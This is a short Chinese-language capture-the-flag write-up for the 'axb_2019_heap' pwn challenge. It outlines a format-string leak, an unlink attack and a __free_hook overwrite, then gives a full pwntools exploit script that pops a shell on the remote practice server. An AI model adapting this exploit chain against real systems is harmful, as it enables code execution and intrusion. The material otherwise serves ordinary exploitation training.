利用思路
指针没学好...导致这题卡了好久....orz
- 首先利用格式化字符串泄露 libc 和程序基址。
- 运用 unlink ,将 chunk 0 的地址覆写为 free_hook 的地址。
- 将system 地址写入 free_hook。
- 触发写入了 '/bin/sh' 的块的删除,执行 system('/bin/sh')。
exp 脚本
from pwn_debug import *
context.log_level = 'debug'
pdbg = pwn_debug('axb_2019_heap')
pdbg.local()
pdbg.remote('node3.buuoj.cn',25087)
p = pdbg.run('remote')
libc = pdbg.libc
elf=ELF('./axb_2019_heap')
def add(idx,size,content):
p.sendlineafter('>>','1')
p.sendlineafter('):',str(idx))
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)
def delete(idx):
p.sendlineafter('>>','2')
p.sendlineafter('index:',str(idx))
def edit(idx,content):
p.sendlineafter('>>','4')
p.sendlineafter('index:',str(idx))
p.sendlineafter('content:
',content)
def show():
p.sendlineafter('>>','3')
p.recvuntil('name: ')
p.sendline('%11$p%15$p')
p.recvuntil('Hello, ')
base=int(p.recv(14),16)-0x1186
libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
bss=base+0x202060
add(0,0x98,'a'*0x98)#0
add(1,0x98,'bbbb')#1
add(2,0x90,'cccc')#2
add(3,0x90,'/bin/shx00')#3
#gdb.attach(p)
payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+'xa0'
edit(0,payload)
#gdb.attach(p)
delete(1)
#gdb.attach(p)
edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
edit(0,p64(system))
delete(3)
p.interactive()